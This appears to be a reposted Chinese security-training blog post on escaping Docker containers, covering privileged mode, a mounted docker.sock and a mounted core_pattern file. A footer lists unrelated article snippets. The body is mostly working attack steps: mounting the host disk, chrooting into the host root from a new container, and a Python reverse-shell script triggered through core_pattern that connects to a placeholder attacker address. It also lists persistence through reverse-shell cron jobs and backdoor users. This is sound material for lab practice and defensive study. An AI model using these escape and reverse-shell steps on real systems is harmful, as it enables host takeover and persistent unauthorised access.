Docker容器逃逸-特权模式-危险挂载-Procfs

Docker容器逃逸-特权模式-危险挂载(95天)

  Docker这个概念: Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。

  ‍

  Docker会遇到的安全问题大概有三点:

  1. 不安全的第三方软件

    1. 例如开发者在代码中引入了存在漏洞版本的 log4j2 组件,然后将其打包成了业务镜像。这样即使代码没有漏洞,但因为引入了不安全的第三方组件也变得有漏洞了。
  2. 不安全的镜像

    1. 在公共镜像仓库比如 Docker Hub 里,会存在一些有漏洞的镜像或者恶意镜像,如果使用了这些镜像那就存在风险了。
  3. 敏感信息泄露

    1. 如果开发者为了开发、调试方便,可能会将数据库账号密码、云服务密钥之类的敏感数据打包到了镜像里,那别人获取到这个镜像后,就会导致敏感信息泄露了。

  ‍

  判断当前是否在Docker中:

  没有权限:很难直接通过某个特征直接判断出来,需要经验和目标的综合表现来判断

  https://blog.csdn.net/qq_23936389/article/details/131486643

  有命令执行权限:查看/.dockerenv这个文件是否存在,存在就是Docker环境

  ‍

  ‍

  Docker逃逸:

  1. 特权模式启动导致的Docker逃逸:

    启动靶场docker run --rm --privileged=true -it alpine

    判断特权cat /proc/self/status | grep CapEff

    在容器内部执行上面这条命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
    查看挂载磁盘设备fdisk -l
    挂载目录mkdir /test && mount /dev/vda1 /test​ #把/dev/vda1这个目录改成目标对应的存在的目录;
    #这一步就是因为由特权模式导致权限过高,导致可以把物理机的根目录直接挂载到Docker容器中的虚拟目录

    判断结果cd /test && ls

    image

    权限维持的方法:留下反弹shell的定时计划任务;留下主机木马;创建后门用户

  ​​

  ‍

  1. 危险挂载启动导致的Docker逃逸:

  启动靶场docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu​​
进入环境docker exec -it with_docker_sock /bin/bash​​
检测环境ls -lah /var/run/docker.sock​​
挂载逃逸:(下面这三条命命令就是在docker容器中,再下载一个docke)

apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh

  在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

  ​docker run -it -v /:/host ubuntu /bin/bash chroot /host

  上面这两条命令的目的是将当前正在运行的Docker容器的根文件系统切换到宿主机的根文件系统上:

  1. docker run -it -v /:/host ubuntu /bin/bash​:

    • docker run​: 运行一个新的容器。
    • -it​: 分配一个伪终端并保持标准输入打开以便与容器进行交互。
    • -v /:/host​: 将宿主机的根文件系统挂载到容器内的/host​目录。这个挂载的操作允许容器内部访问宿主机的文件系统。
    • ubuntu​: 指定容器的镜像为Ubuntu。
    • /bin/bash​: 在容器内启动bash shell。
  2. chroot /host​:

    • chroot​: 更改根目录到指定目录。
    • /host​: 指定切换到的新根目录。

  ​image

  这两个命令的结合效果是,在一个新的Ubuntu容器中,首先将宿主机的根文件系统挂载到容器内的/host​目录上,
然后通过chroot​命令将容器的根目录切换到宿主机的根目录上,从而使得在容器中执行的命令会影响到宿主机的文件系统。
这种操作需要在宿主机上有足够的权限才能执行。

  ‍

  1. 挂载了宿主机Procfs系统导致的Docker逃逸

    启动环境:docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

    检测环境:find / -name core_pattern

    image

    查看当前容器在宿主机上的绝对路径:cat /proc/mounts | grep docker

    image

    写入文件:

    cat >/tmp/.x.py << EOF
    
    #!/usr/bin/python
    
    import os
    
    import pty
    
    import socket
    
    lhost = "xx.xx.xx.xx"
    
    lport = xxxx
    
    def main():
    
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
        s.connect((lhost, lport))
    
        os.dup2(s.fileno(), 0)
    
        os.dup2(s.fileno(), 1)
    
        os.dup2(s.fileno(), 2)
    
        os.putenv("HISTFILE", '/dev/null')
    
        pty.spawn("/bin/bash")
    
        os.remove('/tmp/.x.py')
    
        s.close()
    
    if **name** == "__main__":
    
        main()
    
    EOF
    

    image

    chmod +x /tmp/.x.py

    echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore " >/host/proc/sys/kernel/core_pattern

    image

    上面这条echo命令中容器在宿主机的绝对路径要根据自己的环境改变;后面重定向符号到哪里的那个路径也是根据find / -name core_pattern​命令的结果决定的

    cat >/tmp/x.c << EOF
    
    #include <stdio.h>
    
    int main(void)
    
    {
    
        int *a = NULL;
    
        *a = 1;
    
        return 0;
    
    }
    
    EOF
    

    image

    gcc x.c -o x

    开启监听

    nc -lvvp xxxx

    image

    执行文件:

    ./x

    这反弹出来的权限就会是物理机的权限了

  ‍

  ‍

  Tips:

  1. docker images 查看系统中docker一共拉取下来的镜像文件有哪些
  2. 特权模式启动并不是指Root用户启动,而是指在启动镜像的时候用了 --rm --privileged=true 这个命令

  ‍

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/554172.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

1.Chinese Tiny LLM_ Pretraining a Chinese-Centric Large Language Model

文章目录 摘要一、背景二、预训练数据统计信息数据处理 模型架构 三、SFT四、Learning from Human Preferences五、评估数据集和指标训练过程和比较分析安全性评估中文硬指令理解与遵循评价 六、结论 https://arxiv.org/abs/2404.04167https://github.com/Chinese-Tiny-LLM/Chi…

Jackson知识点记录

文章目录 一.Jackson模块说明 二.ObjectMapper基本功能使用ObjectMapper的一些核心方法&#xff1a;示例代码1. 序列化示例2. 反序列化示例3. JsonNode 处理示例 高级配置 三.各种Node1. ObjectNode2. ArrayNode3. ValueNode4. MissingNode示例 一.Jackson Jackson 库主要分为…

ruoyi-nbcio-plus基于vue3的flowable的websocket消息组件的升级修改(二)

更多ruoyi-nbcio功能请看演示系统 gitee源代码地址 前后端代码&#xff1a; https://gitee.com/nbacheng/ruoyi-nbcio 演示地址&#xff1a;RuoYi-Nbcio后台管理系统 http://122.227.135.243:9666/ 更多nbcio-boot功能请看演示系统 gitee源代码地址 后端代码&#xff1a…

winform 入门篇 -- 第15章 表格视图

表格控件 表格视图 DataGridView &#xff0c;即表格控件提行多行多列的表格状的数据展示 演示: 以表格控件来展示学生数据。。 每个单元格 都可以进行独立的编写 &#xff08;与上节得不同&#xff09; 基本操作: 1 添加一个表格控件 DataGridView 2 设置列数、列名 属…

makefile第七讲

更多精彩内容在公众号。 当make执行完后&#xff0c;我们期望将最终的可执行文件安装到系统目录下&#xff0c;这样在不同的目录下都可以执行编译的可执行文件&#xff0c;相当于做成了个命令。这个就需要用到make install。 源文件如下&#xff1a;用于判断系统是小端还是大端…

Canvas使用详细教学:从基础绘图到进阶动画再到实战(海报生成、Flappy Bird 小游戏等),掌握绘图与动画的秘诀

一、Canvas基础 1. Canvas简介 Canvas是HTML5引入的一种基于矢量图形的绘图技术&#xff0c;它是一个嵌入HTML文档中的矩形区域&#xff0c;允许开发者使用JavaScript直接操作其内容进行图形绘制。Canvas元素不包含任何内在的绘图能力&#xff0c;而是提供了一个空白的画布&a…

LeetCode450:删除二叉搜索树中的节点

题目描述 给定一个二叉搜索树的根节点 root 和一个值 key&#xff0c;删除二叉搜索树中的 key 对应的节点&#xff0c;并保证二叉搜索树的性质不变。返回二叉搜索树&#xff08;有可能被更新&#xff09;的根节点的引用。 一般来说&#xff0c;删除节点可分为两个步骤&#xf…

JS-39-underscore01-初识underscore

一、underscore简介 前面我们已经讲过了&#xff0c;JavaScript是函数式编程语言&#xff0c;支持高阶函数和闭包。 函数式编程非常强大&#xff0c;可以写出非常简洁的代码。例如Array的map()和filter()方法&#xff1a; use strict; var a1 [1, 4, 9, 16]; var a2 a1.ma…

代码随想录算法训练营Day1 : 704.二分查找、27.移除元素

二分查找&#xff1a; 题目&#xff1a;给定一个 n 个元素有序的&#xff08;升序&#xff09;整型数组 nums 和一个目标值 target &#xff0c;写一个函数搜索 nums 中的 target&#xff0c;如果目标值存在返回下标&#xff0c;否则返回 -1。 题目链接&#xff1a;704.二分…

免费泛域名SSL如何申请,和通配符有什么区别

-----让我们明确什么是泛域名。所谓泛域名&#xff0c;是指使用星号&#xff08;*&#xff09;作为子域名的占位符&#xff0c;它可以匹配任意子域名。-----而通配符在域名中&#xff0c;它可以出现在主域名的任何位置&#xff0c;它可以用于主域名和子域名的保护。 主要应用场…

抖音取图最新玩法!ai头像壁纸轻松玩转取图项目,取图小程序现成模板快速搭建上线运营。

取图这个项目其实非常有趣且易于上手&#xff0c;尤其适合初学者。今天&#xff0c;我将为你详细解析取图小程序的玩法及操作步骤。 一、原理简述 其核心理念在于&#xff0c;当用户欣赏完你在抖音上的作品后&#xff0c;若对其中的图片或表情包产生兴趣&#xff0c;你可以引…

部署wordpress

查看别名type ll ll 是 ls -l --colorauto 的别名 设置别名alias alias ymyum install -y 使用别名ym nginx 取消别名unalias ym 基于LNMP做一个wordpress nginx mysql 5.7 PHP 7.4 1、linux基本环境 修改主机名 hostnamectl set-hostname $name 关闭防火墙及selinux …

2024年【电工(初级)】新版试题及电工(初级)免费试题

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 电工&#xff08;初级&#xff09;新版试题根据新电工&#xff08;初级&#xff09;考试大纲要求&#xff0c;安全生产模拟考试一点通将电工&#xff08;初级&#xff09;模拟考试试题进行汇编&#xff0c;组成一套电…

C++11新特性之final关键字

final修饰函数 final修饰函数只能修饰虚函数&#xff0c;防止父类的函数被子类重写 final修饰类 final修饰类防止类被继承

达梦数据库导入导出工具dmfldr

达梦数据库导入导出工具dmfldr 基础信息 OS版本&#xff1a; Red Hat Enterprise Linux Server release 7.9 (Maipo) DB版本&#xff1a; DM Database Server 64 V8 DB Version: 0x7000c 03134284132-20240115-215128-200811 dmfldr工具介绍 dmfldr&#xff08;DM Fast Loade…

【漏洞复现】浙大恩特客户资源管理系统Ri0004_openFileByStream.jsp接口存在任意文件读取漏洞

漏洞描述 浙大恩特客户资源管理系统是一款针对企业客户资源管理的软件产品。该系统旨在帮助企业高效地管理和利用客户资源,提升销售和市场营销的效果。浙大恩特客户资源管理系统Ri0004_openFileByStream.jsp接口存在任意文件读取漏洞。该漏洞可能会对系统的完整性和安全性产生…

C语言-内存操作函数

C语言有一类内存函数&#xff0c;他们可以以字节为单位进行数据的拷贝、追加&#xff0c;甚至可以替代部分字符串函数。于是让我们来狠狠地学习它一百万遍吧~ 1.memcpy函数的使用和模拟实现 void * memcpy ( void * destination, const void * source, size_t num ); 1.1mem…

Java的数组定义和使用

目录 1.前言 2.数组的概念 3.在Java中的创建和初始化 3.1数组的创建 3.2数组的初始化 4.关于使用 4.1数组元素的访问 4.2数组的遍历 4.3length和length()的区别 5.数组其实是引用类型数据 5.1初始JVM的内存分布 5.2基本类型变量与引用类型变量的区别 5.3关于null的认识 5.4设计…

ssm057学生公寓管理中心系统的设计与实现+jsp

学生公寓管理中心系统设计与实现 摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&#xff0c;集中处理数据信息的管理方式。本学生公寓管理中心系统就是在这样的大环境下诞生&#xff0c;其可以帮助管…

Matlab对多个输入信号进行数值排序提取特定值

1、将多个信号转为一个数组信号输出&#xff0c;在这里需要注意&#xff0c;数据类型是否统一&#xff1b; 2、使用Sort模块&#xff0c;进行排序&#xff08;可设置排序方向&#xff09;&#xff0c;得到排序后的新数组以及对应的索引号&#xff1b; 3、设置想要的索引号&…